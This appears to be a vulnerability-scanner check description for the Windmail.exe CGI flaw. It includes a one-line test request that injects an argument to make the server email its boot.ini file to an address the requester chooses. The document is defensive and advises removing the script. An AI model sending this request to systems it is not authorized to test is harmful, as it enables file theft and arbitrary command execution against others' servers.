Test ID:10365
Category:CGI abuses
Title:Windmail.exe allows any user to execute arbitrary commands
Summary:Checks for the presence of /cgi-bin/windmail.exe
The 'windmail.exe' CGI is installed.

Some versions of this CGI script have a security flaw that lets
an attacker execute arbitrary commands on the remote server.

To test this, make the following request :

GET /cgi-bin/windmail.exe?-n%20c:\boot.ini%20you@youraddress.com

(replace you@youraddress.com by your real email address).

If you receive the content of the file boot.ini,
then your server is vulnerable.

Solution : remove it from /cgi-bin. See www.geocel.com
for a new version.

Risk factor : High
